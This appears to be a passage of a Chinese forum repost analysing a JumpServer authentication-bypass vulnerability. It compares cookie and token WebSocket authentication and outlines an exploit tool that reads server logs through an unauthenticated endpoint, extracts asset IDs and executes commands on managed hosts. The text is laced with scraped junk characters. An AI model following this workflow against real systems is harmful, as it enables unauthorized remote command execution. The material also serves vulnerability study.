http://192.168.18.182:8080/koko/ ... 8-a983-1de24e7c3d73
" d+ U1 H. g" y# |' i0 D8 t  Y* c图片0 u, q9 \3 c% h

  \/ g( \7 ]) b8 l9 r' R* X; v实际进行sokcet通信的是/koko/ws/terminal/接口,/koko/terminal/接口是协调处理sokcet通信输入输出的数据,将结果与前端融合并展示给用户,提供一个可视终端的效果。! e; b8 c, W2 O; `, M" h
- `. m: V% j% p1 E
图片* D# }: @7 C8 K" i- q* O0 l

9 Z" O; B' K2 q! Y; U8 L9 r, hWebsocket认证
( j7 S7 y6 S- c: h5 I即使用户经过了系统的认证,当与WebSocket接口进行socket连接时,同样需要再次认证。
/ _  p0 ^; m0 s9 p" J% k8 g+ [
' ?+ U# ]: `' i, A9 I; x7 j* [一般Websocket的身份认证都是发生在握手阶段,客户端向验证请求中的内容,只允许经过身份验证的用户建立成功的Websocket连接。3 G9 w: E; H. a! H
- k4 o0 Y, X7 a- @4 a
可以通过基于cookie的传统方式,或基于Token的方式进行认证。2 O$ I% l; o  W: O
3 ?4 N# w. h9 k/ l
传统的基于cookie的方式  K8 N/ v+ {" m7 ^
采用这种方式,应用本身的认证和提供WebSocket的服务,可以是同一套session cookie的管理机制,也可以WebSocket服务接口自己来维护基于cookie的认证。: b3 `# }9 d( G; L/ n1 S
+ y1 l* k4 D; I
Jumpserver系统Web终端的功能,调用的/koko/ws/terminal/接口就是采用这种方式。
( g- k6 I1 E/ j- i; r6 ~
& @# Z3 o1 F$ P* S! T' X- {8 B0 }ws://192.168.18.182:8080/koko/ws/terminal/?target_id=fac9cfc0-b8f1-4aa5-9893-b8f5cdc8de0f&type=asset&system_user_id=a893cb8f-26f7-41a8-a983-1de24e7c3d73) l5 n2 w2 m0 \' t
图片& h, n" L$ f% }5 C
; S; A2 V; J  t1 T0 z
请求URL中携带的参数值 target_id、type、system_user_id 基本长期复用,接口主要依靠建立会话传送的Cookie来识别身份,这里的session cookie的管理机制与系统是共享的。
% M1 p3 V& N3 ]4 a7 v, H. ~8 x  D0 Z9 r, e+ E6 N! H
基于Token的方式
7 Y- h; [  _+ R当客户端要与接口建立连接时,向http服务获取token,客户端作为初始握手的一部分携带有效token打开websocket连接,服务端验证token有效性合法性,认证通过则同意建立websocket会话连接。( X7 i! _% k) |6 B1 v' ?
( ^1 g( Y$ e. `: ~  n' M
漏洞执行命令利用的/koko/ws/token/接口采用的就是基于token方式进行认证; j7 r: R% k7 W
8 P! T5 M) \9 G* R
ws://192.168.18.182:8080/koko/ws/token/?target_id=845fad2b-6077-41cb-b4fd-1462cca1152d
: Y! Y- o6 A' h) x3 s接口取target_id参数值,识别参数值有效性及对应用户身份,认证通过则同意建立websocket连接。图片
; b8 E, b9 `# ~9 `1 y/ U5 T' ]/ _& Z% U& g4 v% j6 m3 h: `, x" }0 A! {
认证方式对比$ P( R& e& M4 g" T) h$ p$ `
传统基于cookie的方式,若websocket接口与系统协调同一种共享的认证方式,造成websocket服务与应用服务的耦合性大,依赖性强。若websocket服务自己维护基于cookie的认证,它只是一个解决通信连接的服务,为此付出成本不小。综上,还是采用基于token的认证方式更加高效。/ i6 _( a( \8 R* V

9 H2 l0 i& A0 R+ ^' p/ `采用基于token的认证方式则需要考虑提供token服务的API安全性,如本文分析的漏洞,提供token的/connection-token接口存在认证绕过问题,攻击者通过绕过/connection-token接口的身份验证,获取token,在有效时间内可与目标建立websocket连接。7 w4 m: s3 J" \! N9 ~

. x" B* y" A1 u( Y& g9 F8 x0x05利用工具! _: V/ [$ S9 b6 c$ i1 R8 s
编写思路
3 L0 V* m( C: |( v5 _3 d1.读取日志. f5 }# A8 O! X: l+ Z+ V0 W+ _
& @7 q" c, i% s/ i5 b2 C
根据上文漏洞利用的流程,需要先通过未授权的/ws/ops/tasks/log/接口读取日志文件/opt/jumpserver/logs/gunicorn.log ,其中包含大量的接口请求记录,我们需要提取/api/v1/perms/asset-permissions/user/validate/ 接口信息。
) a; |7 o( o* z0 a) i/ K( `7 b. z3 w/ x' Y
图片
! J3 }! u% @" ?- g2 k: S2 r- w4 R  k  d9 U: S
2.筛选可用资产
+ W- U' \" M( R% H  }9 d6 A
& u- g7 c+ X' x, a+ E/ e9 U日志文件中提取出的数据为历史连接记录,但不一定可以被利用,需要对其进行连接测试,筛选出可被利用的资产。% ^5 F" ?. v( d$ V2 s' s  G" j
, S7 i) O9 I& H% F" P; b
图片4 c! T# o) ~9 l' z  ]

. l& C5 k9 N1 P. s3.执行命令& V: c9 H. w+ k: t+ T: q% J+ i" K
# J0 o1 p$ V7 c/ \
在可用资产列表中选择目标进行攻击,执行指定命令。
( P* X2 k+ }" S" a# ]( K( [( @7 d* V  K4 k) u5 p: b) S
图片8 o* e6 m) ~2 U9 r4 d* N
0 B- w: R4 }0 @% u
更多细节请移步:https://github.com/Veraxy00/Jumpserver-EXP% I; d: I* l0 G2 @7 i. b

; t% L7 l8 h3 H8 P总结
& W! m, N6 j/ I, Q, L1.通过未授权的 /ws/ops/tasks/log/ 接口读取日志文件,我们仅筛选了部分接口信息,日志中包含大量数据,还有更多利用价值。. S1 R. P2 M3 @! d; s. b
2.官方给出的漏洞影响版本不准确,部分版本由于接口认证方式问题不可被利用。
" B' ?% r2 m+ n& [; T3.根据实际场景不同,漏洞利用工具还须继续改进,欢迎提出改进建议。- X! c4 x: f' V: G; V# r% u
, h- U& M% ^$ S0 H
您需要登录后才可以回帖 登录 | 注册

本版积分规则

返回首页|Archiver|手机版|小黑屋|易陆发现技术论坛 ( 蜀ICP备2026014127号-1 )

GMT+8, 2026-6-12 01:45 , Processed in 0.027031 second(s), 22 queries .

Powered by Discuz! X5.0

© 2001-2026 Discuz! Team.

快速回复 返回顶部 返回列表